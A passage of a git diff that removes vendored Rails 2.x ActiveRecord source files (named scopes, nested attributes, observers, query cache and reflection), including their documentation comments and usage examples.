-      #   class Shirt < ActiveRecord::Base
-      #     named_scope :colored, lambda { |color|
-      #       { :conditions => { :color => color } }
-      #     }
-      #   end
-      #
-      # In this example, <tt>Shirt.colored('puce')</tt> finds all puce shirts.
-      #
-      # Named \scopes can also have extensions, just as with <tt>has_many</tt> declarations:
-      #
-      #   class Shirt < ActiveRecord::Base
-      #     named_scope :red, :conditions => {:color => 'red'} do
-      #       def dom_id
-      #         'red_shirts'
-      #       end
-      #     end
-      #   end
-      #
-      #
-      # For testing complex named \scopes, you can examine the scoping options using the
-      # <tt>proxy_options</tt> method on the proxy itself.
-      #
-      #   class Shirt < ActiveRecord::Base
-      #     named_scope :colored, lambda { |color|
-      #       { :conditions => { :color => color } }
-      #     }
-      #   end
-      #
-      #   expected_options = { :conditions => { :colored => 'red' } }
-      #   assert_equal expected_options, Shirt.colored('red').proxy_options
-      def named_scope(name, options = {}, &block)
-        name = name.to_sym
-
-        scopes[name] = lambda do |parent_scope, *args|
-          Scope.new(parent_scope, case options
-            when Hash
-              options
-            when Proc
-              if self.model_name != parent_scope.model_name
-                options.bind(parent_scope).call(*args)
-              else
-                options.call(*args)
-              end
-          end, &block)
-        end
-
-        singleton_class.send :define_method, name do |*args|
-          scopes[name].call(self, *args)
-        end
-      end
-    end
-
-    class Scope
-      attr_reader :proxy_scope, :proxy_options, :current_scoped_methods_when_defined
-      NON_DELEGATE_METHODS = %w(nil? send object_id class extend find size count sum average maximum minimum paginate first last empty? any? respond_to?).to_set
-      [].methods.each do |m|
-        unless m =~ /^__/ || NON_DELEGATE_METHODS.include?(m.to_s)
-          delegate m, :to => :proxy_found
-        end
-      end
-
-      delegate :scopes, :with_scope, :scoped_methods, :to => :proxy_scope
-
-      def initialize(proxy_scope, options, &block)
-        options ||= {}
-        [options[:extend]].flatten.each { |extension| extend extension } if options[:extend]
-        extend Module.new(&block) if block_given?
-        unless (Scope === proxy_scope || ActiveRecord::Associations::AssociationCollection === proxy_scope)
-          @current_scoped_methods_when_defined = proxy_scope.send(:current_scoped_methods)
-        end
-        @proxy_scope, @proxy_options = proxy_scope, options.except(:extend)
-      end
-
-      def reload
-        load_found; self
-      end
-
-      def first(*args)
-        if args.first.kind_of?(Integer) || (@found && !args.first.kind_of?(Hash))
-          proxy_found.first(*args)
-        else
-          find(:first, *args)
-        end
-      end
-
-      def last(*args)
-        if args.first.kind_of?(Integer) || (@found && !args.first.kind_of?(Hash))
-          proxy_found.last(*args)
-        else
-          find(:last, *args)
-        end
-      end
-
-      def size
-        @found ? @found.length : count
-      end
-
-      def empty?
-        @found ? @found.empty? : count.zero?
-      end
-
-      def respond_to?(method, include_private = false)
-        super || @proxy_scope.respond_to?(method, include_private)
-      end
-
-      def any?
-        if block_given?
-          proxy_found.any? { |*block_args| yield(*block_args) }
-        else
-          !empty?
-        end
-      end
-
-      protected
-      def proxy_found
-        @found || load_found
-      end
-
-      private
-      def method_missing(method, *args, &block)
-        if scopes.include?(method)
-          scopes[method].call(self, *args)
-        else
-          with_scope({:find => proxy_options, :create => proxy_options[:conditions].is_a?(Hash) ?  proxy_options[:conditions] : {}}, :reverse_merge) do
-            method = :new if method == :build
-            if current_scoped_methods_when_defined && !scoped_methods.include?(current_scoped_methods_when_defined)
-              with_scope current_scoped_methods_when_defined do
-                proxy_scope.send(method, *args, &block)
-              end
-            else
-              proxy_scope.send(method, *args, &block)
-            end
-          end
-        end
-      end
-
-      def load_found
-        @found = find(:all)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/nested_attributes.rb b/vendor/rails/activerecord/lib/active_record/nested_attributes.rb
deleted file mode 100644
index 65434fb0..00000000
--- a/vendor/rails/activerecord/lib/active_record/nested_attributes.rb
+++ /dev/null
@@ -1,404 +0,0 @@
-module ActiveRecord
-  module NestedAttributes #:nodoc:
-    class TooManyRecords < ActiveRecordError
-    end
-
-    def self.included(base)
-      base.extend(ClassMethods)
-      base.class_inheritable_accessor :nested_attributes_options, :instance_writer => false
-      base.nested_attributes_options = {}
-    end
-
-    # == Nested Attributes
-    #
-    # Nested attributes allow you to save attributes on associated records
-    # through the parent. By default nested attribute updating is turned off,
-    # you can enable it using the accepts_nested_attributes_for class method.
-    # When you enable nested attributes an attribute writer is defined on
-    # the model.
-    #
-    # The attribute writer is named after the association, which means that
-    # in the following example, two new methods are added to your model:
-    # <tt>author_attributes=(attributes)</tt> and
-    # <tt>pages_attributes=(attributes)</tt>.
-    #
-    #   class Book < ActiveRecord::Base
-    #     has_one :author
-    #     has_many :pages
-    #
-    #     accepts_nested_attributes_for :author, :pages
-    #   end
-    #
-    # Note that the <tt>:autosave</tt> option is automatically enabled on every
-    # association that accepts_nested_attributes_for is used for.
-    #
-    # === One-to-one
-    #
-    # Consider a Member model that has one Avatar:
-    #
-    #   class Member < ActiveRecord::Base
-    #     has_one :avatar
-    #     accepts_nested_attributes_for :avatar
-    #   end
-    #
-    # Enabling nested attributes on a one-to-one association allows you to
-    # create the member and avatar in one go:
-    #
-    #   params = { :member => { :name => 'Jack', :avatar_attributes => { :icon => 'smiling' } } }
-    #   member = Member.create(params)
-    #   member.avatar.id # => 2
-    #   member.avatar.icon # => 'smiling'
-    #
-    # It also allows you to update the avatar through the member:
-    #
-    #   params = { :member' => { :avatar_attributes => { :id => '2', :icon => 'sad' } } }
-    #   member.update_attributes params['member']
-    #   member.avatar.icon # => 'sad'
-    #
-    # By default you will only be able to set and update attributes on the
-    # associated model. If you want to destroy the associated model through the
-    # attributes hash, you have to enable it first using the
-    # <tt>:allow_destroy</tt> option.
-    #
-    #   class Member < ActiveRecord::Base
-    #     has_one :avatar
-    #     accepts_nested_attributes_for :avatar, :allow_destroy => true
-    #   end
-    #
-    # Now, when you add the <tt>_destroy</tt> key to the attributes hash, with a
-    # value that evaluates to +true+, you will destroy the associated model:
-    #
-    #   member.avatar_attributes = { :id => '2', :_destroy => '1' }
-    #   member.avatar.marked_for_destruction? # => true
-    #   member.save
-    #   member.avatar #=> nil
-    #
-    # Note that the model will _not_ be destroyed until the parent is saved.
-    #
-    # === One-to-many
-    #
-    # Consider a member that has a number of posts:
-    #
-    #   class Member < ActiveRecord::Base
-    #     has_many :posts
-    #     accepts_nested_attributes_for :posts
-    #   end
-    #
-    # You can now set or update attributes on an associated post model through
-    # the attribute hash.
-    #
-    # For each hash that does _not_ have an <tt>id</tt> key a new record will
-    # be instantiated, unless the hash also contains a <tt>_destroy</tt> key
-    # that evaluates to +true+.
-    #
-    #   params = { :member => {
-    #     :name => 'joe', :posts_attributes => [
-    #       { :title => 'Kari, the awesome Ruby documentation browser!' },
-    #       { :title => 'The egalitarian assumption of the modern citizen' },
-    #       { :title => '', :_destroy => '1' } # this will be ignored
-    #     ]
-    #   }}
-    #
-    #   member = Member.create(params['member'])
-    #   member.posts.length # => 2
-    #   member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
-    #   member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
-    #
-    # You may also set a :reject_if proc to silently ignore any new record
-    # hashes if they fail to pass your criteria. For example, the previous
-    # example could be rewritten as:
-    #
-    #    class Member < ActiveRecord::Base
-    #      has_many :posts
-    #      accepts_nested_attributes_for :posts, :reject_if => proc { |attributes| attributes['title'].blank? }
-    #    end
-    #
-    #   params = { :member => {
-    #     :name => 'joe', :posts_attributes => [
-    #       { :title => 'Kari, the awesome Ruby documentation browser!' },
-    #       { :title => 'The egalitarian assumption of the modern citizen' },
-    #       { :title => '' } # this will be ignored because of the :reject_if proc
-    #     ]
-    #   }}
-    #
-    #   member = Member.create(params['member'])
-    #   member.posts.length # => 2
-    #   member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
-    #   member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
-    #
-    #  Alternatively, :reject_if also accepts a symbol for using methods:
-    #
-    #    class Member < ActiveRecord::Base
-    #      has_many :posts
-    #      accepts_nested_attributes_for :posts, :reject_if => :new_record?
-    #    end
-    #
-    #    class Member < ActiveRecord::Base
-    #      has_many :posts
-    #      accepts_nested_attributes_for :posts, :reject_if => :reject_posts
-    #
-    #      def reject_posts(attributed)
-    #        attributed['title].blank?
-    #      end
-    #    end
-    #
-    # If the hash contains an <tt>id</tt> key that matches an already
-    # associated record, the matching record will be modified:
-    #
-    #   member.attributes = {
-    #     :name => 'Joe',
-    #     :posts_attributes => [
-    #       { :id => 1, :title => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' },
-    #       { :id => 2, :title => '[UPDATED] other post' }
-    #     ]
-    #   }
-    #
-    #   member.posts.first.title # => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!'
-    #   member.posts.second.title # => '[UPDATED] other post'
-    #
-    # By default the associated records are protected from being destroyed. If
-    # you want to destroy any of the associated records through the attributes
-    # hash, you have to enable it first using the <tt>:allow_destroy</tt>
-    # option. This will allow you to also use the <tt>_destroy</tt> key to
-    # destroy existing records:
-    #
-    #   class Member < ActiveRecord::Base
-    #     has_many :posts
-    #     accepts_nested_attributes_for :posts, :allow_destroy => true
-    #   end
-    #
-    #   params = { :member => {
-    #     :posts_attributes => [{ :id => '2', :_destroy => '1' }]
-    #   }}
-    #
-    #   member.attributes = params['member']
-    #   member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true
-    #   member.posts.length #=> 2
-    #   member.save
-    #   member.posts.length # => 1
-    #
-    # === Saving
-    #
-    # All changes to models, including the destruction of those marked for
-    # destruction, are saved and destroyed automatically and atomically when
-    # the parent model is saved. This happens inside the transaction initiated
-    # by the parents save method. See ActiveRecord::AutosaveAssociation.
-    module ClassMethods
-      REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |_, value| value.blank? } }
-
-      # Defines an attributes writer for the specified association(s). If you
-      # are using <tt>attr_protected</tt> or <tt>attr_accessible</tt>, then you
-      # will need to add the attribute writer to the allowed list.
-      #
-      # Supported options:
-      # [:allow_destroy]
-      #   If true, destroys any members from the attributes hash with a
-      #   <tt>_destroy</tt> key and a value that evaluates to +true+
-      #   (eg. 1, '1', true, or 'true'). This option is off by default.
-      # [:reject_if]
-      #   Allows you to specify a Proc or a Symbol pointing to a method
-      #   that checks whether a record should be built for a certain attribute
-      #   hash. The hash is passed to the supplied Proc or the method
-      #   and it should return either +true+ or +false+. When no :reject_if
-      #   is specified, a record will be built for all attribute hashes that
-      #   do not have a <tt>_destroy</tt> value that evaluates to true.
-      #   Passing <tt>:all_blank</tt> instead of a Proc will create a proc
-      #   that will reject a record where all the attributes are blank.
-      # [:limit]
-      #   Allows you to specify the maximum number of the associated records that
-      #   can be processes with the nested attributes. If the size of the
-      #   nested attributes array exceeds the specified limit, NestedAttributes::TooManyRecords
-      #   exception is raised. If omitted, any number associations can be processed.
-      #   Note that the :limit option is only applicable to one-to-many associations.
-      # [:update_only]
-      #   Allows you to specify that an existing record may only be updated.
-      #   A new record may only be created when there is no existing record.
-      #   This option only works for one-to-one associations and is ignored for
-      #   collection associations. This option is off by default.
-      #
-      # Examples:
-      #   # creates avatar_attributes=
-      #   accepts_nested_attributes_for :avatar, :reject_if => proc { |attributes| attributes['name'].blank? }
-      #   # creates avatar_attributes=
-      #   accepts_nested_attributes_for :avatar, :reject_if => :all_blank
-      #   # creates avatar_attributes= and posts_attributes=
-      #   accepts_nested_attributes_for :avatar, :posts, :allow_destroy => true
-      def accepts_nested_attributes_for(*attr_names)
-        options = { :allow_destroy => false, :update_only => false }
-        options.update(attr_names.extract_options!)
-        options.assert_valid_keys(:allow_destroy, :reject_if, :limit, :update_only)
-        options[:reject_if] = REJECT_ALL_BLANK_PROC if options[:reject_if] == :all_blank
-
-        attr_names.each do |association_name|
-          if reflection = reflect_on_association(association_name)
-            reflection.options[:autosave] = true
-            add_autosave_association_callbacks(reflection)
-            nested_attributes_options[association_name.to_sym] = options
-            type = (reflection.collection? ? :collection : :one_to_one)
-
-            # def pirate_attributes=(attributes)
-            #   assign_nested_attributes_for_one_to_one_association(:pirate, attributes)
-            # end
-            class_eval <<-EOS, __FILE__, __LINE__ + 1
-              def #{association_name}_attributes=(attributes)
-                assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes)
-              end
-            EOS
-          else
-            raise ArgumentError, "No association found for name `#{association_name}'. Has it been defined yet?"
-          end
-        end
-      end
-    end
-
-    # Returns ActiveRecord::AutosaveAssociation::marked_for_destruction? It's
-    # used in conjunction with fields_for to build a form element for the
-    # destruction of this association.
-    #
-    # See ActionView::Helpers::FormHelper::fields_for for more info.
-    def _destroy
-      marked_for_destruction?
-    end
-
-    private
-
-    # Attribute hash keys that should not be assigned as normal attributes.
-    # These hash keys are nested attributes implementation details.
-    UNASSIGNABLE_KEYS = %w( id _destroy )
-
-    # Assigns the given attributes to the association.
-    #
-    # If update_only is false and the given attributes include an <tt>:id</tt>
-    # that matches the existing record’s id, then the existing record will be
-    # modified. If update_only is true, a new record is only created when no
-    # object exists. Otherwise a new record will be built.
-    #
-    # If the given attributes include a matching <tt>:id</tt> attribute, or
-    # update_only is true, and a <tt>:_destroy</tt> key set to a truthy value,
-    # then the existing record will be marked for destruction.
-    def assign_nested_attributes_for_one_to_one_association(association_name, attributes)
-      options = nested_attributes_options[association_name]
-      attributes = attributes.with_indifferent_access
-      check_existing_record = (options[:update_only] || !attributes['id'].blank?)
-
-      if check_existing_record && (record = send(association_name)) &&
-          (options[:update_only] || record.id.to_s == attributes['id'].to_s)
-        assign_to_or_mark_for_destruction(record, attributes, options[:allow_destroy])
-
-      elsif attributes['id']
-        raise_nested_attributes_record_not_found(association_name, attributes['id'])
-
-      elsif !reject_new_record?(association_name, attributes)
-        method = "build_#{association_name}"
-        if respond_to?(method)
-          send(method, attributes.except(*UNASSIGNABLE_KEYS))
-        else
-          raise ArgumentError, "Cannot build association #{association_name}. Are you trying to build a polymorphic one-to-one association?"
-        end
-      end
-    end
-
-    # Assigns the given attributes to the collection association.
-    #
-    # Hashes with an <tt>:id</tt> value matching an existing associated record
-    # will update that record. Hashes without an <tt>:id</tt> value will build
-    # a new record for the association. Hashes with a matching <tt>:id</tt>
-    # value and a <tt>:_destroy</tt> key set to a truthy value will mark the
-    # matched record for destruction.
-    #
-    # For example:
-    #
-    #   assign_nested_attributes_for_collection_association(:people, {
-    #     '1' => { :id => '1', :name => 'Peter' },
-    #     '2' => { :name => 'John' },
-    #     '3' => { :id => '2', :_destroy => true }
-    #   })
-    #
-    # Will update the name of the Person with ID 1, build a new associated
-    # person with the name `John', and mark the associatied Person with ID 2
-    # for destruction.
-    #
-    # Also accepts an Array of attribute hashes:
-    #
-    #   assign_nested_attributes_for_collection_association(:people, [
-    #     { :id => '1', :name => 'Peter' },
-    #     { :name => 'John' },
-    #     { :id => '2', :_destroy => true }
-    #   ])
-    def assign_nested_attributes_for_collection_association(association_name, attributes_collection)
-      options = nested_attributes_options[association_name]
-
-      unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array)
-        raise ArgumentError, "Hash or Array expected, got #{attributes_collection.class.name} (#{attributes_collection.inspect})"
-      end
-
-      if options[:limit] && attributes_collection.size > options[:limit]
-        raise TooManyRecords, "Maximum #{options[:limit]} records are allowed. Got #{attributes_collection.size} records instead."
-      end
-
-      if attributes_collection.is_a? Hash
-        attributes_collection = attributes_collection.sort_by { |index, _| index.to_i }.map { |_, attributes| attributes }
-      end
-
-      association = send(association_name)
-
-      existing_records = if association.loaded?
-        association.to_a
-      else
-        attribute_ids = attributes_collection.map {|a| a['id'] || a[:id] }.compact
-        attribute_ids.present? ? association.all(:conditions => {association.primary_key => attribute_ids}) : []
-      end
-
-      attributes_collection.each do |attributes|
-        attributes = attributes.with_indifferent_access
-
-        if attributes['id'].blank?
-          unless reject_new_record?(association_name, attributes)
-            association.build(attributes.except(*UNASSIGNABLE_KEYS))
-          end
-        elsif existing_record = existing_records.detect { |record| record.id.to_s == attributes['id'].to_s }
-          association.send(:add_record_to_target_with_callbacks, existing_record) unless association.loaded?
-          assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
-        else
-          raise_nested_attributes_record_not_found(association_name, attributes['id'])
-        end
-      end
-    end
-
-    # Updates a record with the +attributes+ or marks it for destruction if
-    # +allow_destroy+ is +true+ and has_destroy_flag? returns +true+.
-    def assign_to_or_mark_for_destruction(record, attributes, allow_destroy)
-      if has_destroy_flag?(attributes) && allow_destroy
-        record.mark_for_destruction
-      else
-        record.attributes = attributes.except(*UNASSIGNABLE_KEYS)
-      end
-    end
-
-    # Determines if a hash contains a truthy _destroy key.
-    def has_destroy_flag?(hash)
-      ConnectionAdapters::Column.value_to_boolean(hash['_destroy'])
-    end
-
-    # Determines if a new record should be build by checking for
-    # has_destroy_flag? or if a <tt>:reject_if</tt> proc exists for this
-    # association and evaluates to +true+.
-    def reject_new_record?(association_name, attributes)
-      has_destroy_flag?(attributes) || call_reject_if(association_name, attributes)
-    end
-
-    def call_reject_if(association_name, attributes)
-      case callback = nested_attributes_options[association_name][:reject_if]
-      when Symbol
-        method(callback).arity == 0 ? send(callback) : send(callback, attributes)
-      when Proc
-        callback.call(attributes)
-      end
-    end
-
-    def raise_nested_attributes_record_not_found(association_name, record_id)
-      reflection = self.class.reflect_on_association(association_name)
-      raise RecordNotFound, "Couldn't find #{reflection.klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}"
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/observer.rb b/vendor/rails/activerecord/lib/active_record/observer.rb
deleted file mode 100644
index b35e407c..00000000
--- a/vendor/rails/activerecord/lib/active_record/observer.rb
+++ /dev/null
@@ -1,197 +0,0 @@
-require 'singleton'
-require 'set'
-
-module ActiveRecord
-  module Observing # :nodoc:
-    def self.included(base)
-      base.extend ClassMethods
-    end
-
-    module ClassMethods
-      # Activates the observers assigned. Examples:
-      #
-      #   # Calls PersonObserver.instance
-      #   ActiveRecord::Base.observers = :person_observer
-      #
-      #   # Calls Cacher.instance and GarbageCollector.instance
-      #   ActiveRecord::Base.observers = :cacher, :garbage_collector
-      #
-      #   # Same as above, just using explicit class references
-      #   ActiveRecord::Base.observers = Cacher, GarbageCollector
-      #
-      # Note: Setting this does not instantiate the observers yet. +instantiate_observers+ is
-      # called during startup, and before each development request.
-      def observers=(*observers)
-        @observers = observers.flatten
-      end
-
-      # Gets the current observers.
-      def observers
-        @observers ||= []
-      end
-
-      # Instantiate the global Active Record observers.
-      def instantiate_observers
-        return if @observers.blank?
-        @observers.each do |observer|
-          if observer.respond_to?(:to_sym) # Symbol or String
-            observer.to_s.camelize.constantize.instance
-          elsif observer.respond_to?(:instance)
-            observer.instance
-          else
-            raise ArgumentError, "#{observer} must be a lowercase, underscored class name (or an instance of the class itself) responding to the instance method. Example: Person.observers = :big_brother # calls BigBrother.instance"
-          end
-        end
-      end
-
-      protected
-        # Notify observers when the observed class is subclassed.
-        def inherited(subclass)
-          super
-          changed
-          notify_observers :observed_class_inherited, subclass
-        end
-    end
-  end
-
-  # Observer classes respond to lifecycle callbacks to implement trigger-like
-  # behavior outside the original class. This is a great way to reduce the
-  # clutter that normally comes when the model class is burdened with
-  # functionality that doesn't pertain to the core responsibility of the
-  # class. Example:
-  #
-  #   class CommentObserver < ActiveRecord::Observer
-  #     def after_save(comment)
-  #       Notifications.deliver_comment("admin@do.com", "New comment was posted", comment)
-  #     end
-  #   end
-  #
-  # This Observer sends an email when a Comment#save is finished.
-  #
-  #   class ContactObserver < ActiveRecord::Observer
-  #     def after_create(contact)
-  #       contact.logger.info('New contact added!')
-  #     end
-  #
-  #     def after_destroy(contact)
-  #       contact.logger.warn("Contact with an id of #{contact.id} was destroyed!")
-  #     end
-  #   end
-  #
-  # This Observer uses logger to log when specific callbacks are triggered.
-  #
-  # == Observing a class that can't be inferred
-  #
-  # Observers will by default be mapped to the class with which they share a name. So CommentObserver will
-  # be tied to observing Comment, ProductManagerObserver to ProductManager, and so on. If you want to name your observer
-  # differently than the class you're interested in observing, you can use the Observer.observe class method which takes
-  # either the concrete class (Product) or a symbol for that class (:product):
-  #
-  #   class AuditObserver < ActiveRecord::Observer
-  #     observe :account
-  #
-  #     def after_update(account)
-  #       AuditTrail.new(account, "UPDATED")
-  #     end
-  #   end
-  #
-  # If the audit observer needs to watch more than one kind of object, this can be specified with multiple arguments:
-  #
-  #   class AuditObserver < ActiveRecord::Observer
-  #     observe :account, :balance
-  #
-  #     def after_update(record)
-  #       AuditTrail.new(record, "UPDATED")
-  #     end
-  #   end
-  #
-  # The AuditObserver will now act on both updates to Account and Balance by treating them both as records.
-  #
-  # == Available callback methods
-  #
-  # The observer can implement callback methods for each of the methods described in the Callbacks module.
-  #
-  # == Storing Observers in Rails
-  #
-  # If you're using Active Record within Rails, observer classes are usually stored in app/models with the
-  # naming convention of app/models/audit_observer.rb.
-  #
-  # == Configuration
-  #
-  # In order to activate an observer, list it in the <tt>config.active_record.observers</tt> configuration setting in your
-  # <tt>config/environment.rb</tt> file.
-  #
-  #   config.active_record.observers = :comment_observer, :signup_observer
-  #
-  # Observers will not be invoked unless you define these in your application configuration.
-  #
-  # == Loading
-  #
-  # Observers register themselves in the model class they observe, since it is the class that
-  # notifies them of events when they occur. As a side-effect, when an observer is loaded its
-  # corresponding model class is loaded.
-  #
-  # Up to (and including) Rails 2.0.2 observers were instantiated between plugins and
-  # application initializers. Now observers are loaded after application initializers,
-  # so observed models can make use of extensions.
-  #
-  # If by any chance you are using observed models in the initialization you can still
-  # load their observers by calling <tt>ModelObserver.instance</tt> before. Observers are
-  # singletons and that call instantiates and registers them.
-  #
-  class Observer
-    include Singleton
-
-    class << self
-      # Attaches the observer to the supplied model classes.
-      def observe(*models)
-        models.flatten!
-        models.collect! { |model| model.is_a?(Symbol) ? model.to_s.camelize.constantize : model }
-        define_method(:observed_classes) { Set.new(models) }
-      end
-
-      # The class observed by default is inferred from the observer's class name:
-      #   assert_equal Person, PersonObserver.observed_class
-      def observed_class
-        if observed_class_name = name[/(.*)Observer/, 1]
-          observed_class_name.constantize
-        else
-          nil
-        end
-      end
-    end
-
-    # Start observing the declared classes and their subclasses.
-    def initialize
-      Set.new(observed_classes + observed_subclasses).each { |klass| add_observer! klass }
-    end
-
-    # Send observed_method(object) if the method exists.
-    def update(observed_method, object) #:nodoc:
-      send(observed_method, object) if respond_to?(observed_method)
-    end
-
-    # Special method sent by the observed class when it is inherited.
-    # Passes the new subclass.
-    def observed_class_inherited(subclass) #:nodoc:
-      self.class.observe(observed_classes + [subclass])
-      add_observer!(subclass)
-    end
-
-    protected
-      def observed_classes
-        Set.new([self.class.observed_class].compact.flatten)
-      end
-
-      def observed_subclasses
-        observed_classes.sum([]) { |klass| klass.send(:subclasses) }
-      end
-
-      def add_observer!(klass)
-        klass.add_observer(self)
-        if respond_to?(:after_find) && !klass.method_defined?(:after_find)
-          klass.class_eval 'def after_find() end'
-        end
-      end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/query_cache.rb b/vendor/rails/activerecord/lib/active_record/query_cache.rb
deleted file mode 100644
index eb92bc25..00000000
--- a/vendor/rails/activerecord/lib/active_record/query_cache.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-module ActiveRecord
-  class QueryCache
-    module ClassMethods
-      # Enable the query cache within the block if Active Record is configured.
-      def cache(&block)
-        if ActiveRecord::Base.configurations.blank?
-          yield
-        else
-          connection.cache(&block)
-        end
-      end
-
-      # Disable the query cache within the block if Active Record is configured.
-      def uncached(&block)
-        if ActiveRecord::Base.configurations.blank?
-          yield
-        else
-          connection.uncached(&block)
-        end
-      end
-    end
-
-    def initialize(app)
-      @app = app
-    end
-
-    def call(env)
-      ActiveRecord::Base.cache do
-        @app.call(env)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/reflection.rb b/vendor/rails/activerecord/lib/active_record/reflection.rb
deleted file mode 100644
index 13bcb8b1..00000000
--- a/vendor/rails/activerecord/lib/active_record/reflection.rb
+++ /dev/null
@@ -1,385 +0,0 @@
-module ActiveRecord
-  module Reflection # :nodoc:
-    def self.included(base)
-      base.extend(ClassMethods)
-    end
-
-    # Reflection allows you to interrogate Active Record classes and objects about their associations and aggregations.
-    # This information can, for example, be used in a form builder that took an Active Record object and created input
-    # fields for all of the attributes depending on their type and displayed the associations to other objects.
-    #
-    # You can find the interface for the AggregateReflection and AssociationReflection classes in the abstract MacroReflection class.
-    module ClassMethods
-      def create_reflection(macro, name, options, active_record)
-        case macro
-          when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many
-            klass = options[:through] ? ThroughReflection : AssociationReflection
-            reflection = klass.new(macro, name, options, active_record)
-          when :composed_of
-            reflection = AggregateReflection.new(macro, name, options, active_record)
-        end
-        write_inheritable_hash :reflections, name => reflection
-        reflection
-      end
-
-      # Returns a hash containing all AssociationReflection objects for the current class
-      # Example:
-      #
-      #   Invoice.reflections
-      #   Account.reflections
-      #
-      def reflections
-        read_inheritable_attribute(:reflections) || write_inheritable_attribute(:reflections, {})
-      end
-
-      # Returns an array of AggregateReflection objects for all the aggregations in the class.
-      def reflect_on_all_aggregations
-        reflections.values.select { |reflection| reflection.is_a?(AggregateReflection) }
-      end
-
-      # Returns the AggregateReflection object for the named +aggregation+ (use the symbol). Example:
-      #
-      #   Account.reflect_on_aggregation(:balance) # returns the balance AggregateReflection
-      #
-      def reflect_on_aggregation(aggregation)
-        reflections[aggregation].is_a?(AggregateReflection) ? reflections[aggregation] : nil
-      end
-
-      # Returns an array of AssociationReflection objects for all the associations in the class. If you only want to reflect on a
-      # certain association type, pass in the symbol (<tt>:has_many</tt>, <tt>:has_one</tt>, <tt>:belongs_to</tt>) for that as the first parameter.
-      # Example:
-      #
-      #   Account.reflect_on_all_associations             # returns an array of all associations
-      #   Account.reflect_on_all_associations(:has_many)  # returns an array of all has_many associations
-      #
-      def reflect_on_all_associations(macro = nil)
-        association_reflections = reflections.values.select { |reflection| reflection.is_a?(AssociationReflection) }
-        macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections
-      end
-
-      # Returns the AssociationReflection object for the named +association+ (use the symbol). Example:
-      #
-      #   Account.reflect_on_association(:owner) # returns the owner AssociationReflection
-      #   Invoice.reflect_on_association(:line_items).macro  # returns :has_many
-      #
-      def reflect_on_association(association)
-        reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil
-      end
-
-      # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
-      def reflect_on_all_autosave_associations
-        reflections.values.select { |reflection| reflection.options[:autosave] }
-      end
-    end
-
-
-    # Abstract base class for AggregateReflection and AssociationReflection that describes the interface available for both of
-    # those classes. Objects of AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods.
-    class MacroReflection
-      attr_reader :active_record
-
-      def initialize(macro, name, options, active_record)
-        @macro, @name, @options, @active_record = macro, name, options, active_record
-      end
-
-      # Returns the name of the macro.  For example, <tt>composed_of :balance, :class_name => 'Money'</tt> will return
-      # <tt>:balance</tt> or for <tt>has_many :clients</tt> it will return <tt>:clients</tt>.
-      def name
-        @name
-      end
-
-      # Returns the macro type. For example, <tt>composed_of :balance, :class_name => 'Money'</tt> will return <tt>:composed_of</tt>
-      # or for <tt>has_many :clients</tt> will return <tt>:has_many</tt>.
-      def macro
-        @macro
-      end
-
-      # Returns the hash of options used for the macro.  For example, it would return <tt>{ :class_name => "Money" }</tt> for
-      # <tt>composed_of :balance, :class_name => 'Money'</tt> or +{}+ for <tt>has_many :clients</tt>.
-      def options
-        @options
-      end
-
-      # Returns the class for the macro.  For example, <tt>composed_of :balance, :class_name => 'Money'</tt> returns the Money
-      # class and <tt>has_many :clients</tt> returns the Client class.
-      def klass
-        @klass ||= class_name.constantize
-      end
-
-      # Returns the class name for the macro.  For example, <tt>composed_of :balance, :class_name => 'Money'</tt> returns <tt>'Money'</tt>
-      # and <tt>has_many :clients</tt> returns <tt>'Client'</tt>.
-      def class_name
-        @class_name ||= options[:class_name] || derive_class_name
-      end
-
-      # Returns +true+ if +self+ and +other_aggregation+ have the same +name+ attribute, +active_record+ attribute,
-      # and +other_aggregation+ has an options hash assigned to it.
-      def ==(other_aggregation)
-        other_aggregation.kind_of?(self.class) && name == other_aggregation.name && other_aggregation.options && active_record == other_aggregation.active_record
-      end
-
-      def sanitized_conditions #:nodoc:
-        @sanitized_conditions ||= klass.send(:sanitize_sql, options[:conditions]) if options[:conditions]
-      end
-
-      # Returns +true+ if +self+ is a +belongs_to+ reflection.
-      def belongs_to?
-        macro == :belongs_to
-      end
-
-      private
-        def derive_class_name
-          name.to_s.camelize
-        end
-    end
-
-
-    # Holds all the meta-data about an aggregation as it was specified in the Active Record class.
-    class AggregateReflection < MacroReflection #:nodoc:
-    end
-
-    # Holds all the meta-data about an association as it was specified in the Active Record class.
-    class AssociationReflection < MacroReflection #:nodoc:
-      # Returns the target association's class:
-      #
-      #   class Author < ActiveRecord::Base
-      #     has_many :books
-      #   end
-      #
-      #   Author.reflect_on_association(:books).klass
-      #   # => Book
-      #
-      # <b>Note:</b> do not call +klass.new+ or +klass.create+ to instantiate
-      # a new association object. Use +build_association+ or +create_association+
-      # instead. This allows plugins to hook into association object creation.
-      def klass
-        @klass ||= active_record.send(:compute_type, class_name)
-      end
-
-      # Returns a new, unsaved instance of the associated class. +options+ will
-      # be passed to the class's constructor.
-      def build_association(*options)
-        klass.new(*options)
-      end
-
-      # Creates a new instance of the associated class, and immediates saves it
-      # with ActiveRecord::Base#save. +options+ will be passed to the class's
-      # creation method. Returns the newly created object.
-      def create_association(*options)
-        klass.create(*options)
-      end
-
-      # Creates a new instance of the associated class, and immediates saves it
-      # with ActiveRecord::Base#save!. +options+ will be passed to the class's
-      # creation method. If the created record doesn't pass validations, then an
